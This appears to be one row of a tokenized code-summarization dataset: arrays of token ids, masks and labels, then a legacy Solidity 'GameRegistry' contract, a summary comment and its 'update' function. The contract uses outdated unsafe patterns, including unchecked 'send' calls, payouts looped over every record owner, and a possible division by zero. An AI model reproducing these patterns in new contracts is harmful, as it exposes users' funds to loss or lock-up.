0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
8705,
2954,
281,
12,
2254,
5034,
389,
70,
321,
2954,
281,
16,
2254,
5034,
389,
3001,
560,
2954,
281,
16,
2254,
5034,
389,
266,
6397,
2954,
281,
16,
2254,
5034,
389,
4299,
2954,
281,
16,
2254,
5034,
389,
334,
6159,
2954,
281,
13,
3238,
16618,
1135,
261,
6430,
15329,
203,
3639,
2254,
5034,
389,
4963,
2954,
281,
273,
389,
70,
321,
2954,
281,
397,
389,
3001,
560,
2954,
281,
397,
389,
266,
6397,
2954,
281,
397,
389,
4299,
2954,
281,
397,
389,
334,
6159,
2954,
281,
31,
203,
3639,
309,
24899,
4963,
2954,
281,
422,
2130,
15329,
203,
5411,
327,
638,
31,
203,
5411,
327,
629,
31,
203,
3639,
289,
203,
565,
289,
203,
203,
1377,
1758,
15229,
203,
565,
11272,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
contract GameRegistry {
// This struct keeps all data for a Record.
struct Record {
// Keeps the address of this record creator.
address owner;
// Keeps the time when this record was created.
uint time;
// Keeps the index of the keys array for fast lookup
uint keysIndex;
string description;
string url;
}
// This mapping keeps the records of this Registry.
mapping(address => Record) private records;
// Keeps the total numbers of records in this Registry.
uint private numRecords;
// Keeps a list of all keys to interate the recoreds.
address[] private keys;
// The owner of this registry.
address private owner;
uint private KEY_HOLDER_SHARE = 50;
uint private REGISTRATION_COST = 500 finney;
uint private TRANSFER_COST = 0;
// Constructor
function GameRegistry() {
owner = msg.sender;
}
// public interface to the directory of games
function theGames(uint rindex) constant returns(address contractAddress, string description, string url, address submittedBy, uint time) {
Record record = records[keys[rindex]];
contractAddress = keys[rindex];
description = record.description;
url = record.url;
submittedBy = record.owner;
time = record.time;
}
function settings() constant public returns(uint registrationCost, uint percentSharedWithKeyHolders) {
registrationCost = REGISTRATION_COST / 1 finney;
percentSharedWithKeyHolders = KEY_HOLDER_SHARE;
}
function distributeValue() private {
if (msg.value == 0) {
return;
}
// share value with all key holders
uint ownerPercentage = 100 - KEY_HOLDER_SHARE;
uint valueForRegOwner = (ownerPercentage * msg.value) / 100;
owner.send(valueForRegOwner);
uint valueForEachOwner = (msg.value - valueForRegOwner) / numRecords;
if (valueForEachOwner <= 0) {
return;
}
for (uint k = 0; k < numRecords; k++) {
records[keys[k]].owner.send(valueForEachOwner);
}
}
// This is the function that actually inserts a record.
function addGame(address key, string description, string url) {
// Only allow registration if received value >= REGISTRATION_COST
if (msg.value < REGISTRATION_COST) {
// Return value back to sender.
if (msg.value > 0) {
msg.sender.send(msg.value);
}
return;
}
distributeValue();
if (records[key].time == 0) {
records[key].time = now;
records[key].owner = msg.sender;
records[key].keysIndex = keys.length;
keys.length++;
keys[keys.length - 1] = key;
records[key].description = description;
records[key].url = url;
numRecords++;
}
}
function () { distributeValue(); }
// Updates the values of the given record.
function update(address key, string description, string url) {
// Only the owner can update his record.
if (records[key].owner == msg.sender) {
records[key].description = description;
records[key].url = url;
}
}
/*
// Transfer ownership of a given record.
function transfer(address key, address newOwner) {
// Only allow transfer if received value >= TRANSFER_COST
if (msg.value < TRANSFER_COST) {
// Return value back to sender
if (msg.value > 0) {
msg.sender.send(msg.value);
}
return;
}
distributeValue();
if (records[key].owner == msg.sender) {
records[key].owner = newOwner;
}
}
*/
// Tells whether a given key is registered.
function isRegistered(address key) private constant returns(bool) {
return records[key].time != 0;
}
function getRecord(address key) private constant returns(address owner, uint time, string description, string url) {
Record record = records[key];
owner = record.owner;
time = record.time;
description = record.description;
url = record.url;
}
// Returns the owner of the given record. The owner could also be get
// by using the function getRecord but in that case all record attributes
// are returned.
function getOwner(address key) private constant returns(address) {
return records[key].owner;
}
// Returns the registration time of the given record. The time could also
// be get by using the function getRecord but in that case all record attributes
// are returned.
function getTime(address key) private constant returns(uint) {
return records[key].time;
}
// Registry owner can use this function to withdraw any surplus value owned by
// the registry.
function maintain(uint value, uint cost) {
if (msg.sender == owner) {
msg.sender.send(value);
REGISTRATION_COST = cost;
}
}
// Returns the total number of records in this registry.
function getTotalRecords() private constant returns(uint) {
return numRecords;
}
// This function is used by subcontracts when an error is detected and
// the value needs to be returned to the transaction originator.
function returnValue() internal {
if (msg.value > 0) {
msg.sender.send(msg.value);
}
}
}
|
Updates the values of the given record. Only the owner can update his record.
|
function update(address key, string description, string url) {
if (records[key].owner == msg.sender) {
records[key].description = description;
records[key].url = url;
}
}
| 1,047,385 |
[
1,
4625,
348,
7953,
560,
30,
225,
15419,
326,
924,
434,
326,
864,
1409,
18,
5098,
326,
3410,
848,
1089,
18423,
1409,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1089,
12,
2867,
498,
16,
533,
2477,
16,
533,
880,
13,
288,
203,
3639,
309,
261,
7094,
63,
856,
8009,
8443,
422,
1234,
18,
15330,
13,
288,
203,
5411,
3853,
63,
856,
8009,
3384,
273,
2477,
31,
203,
5411,
3853,
63,
856,
8009,
718,
273,
880,
31,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
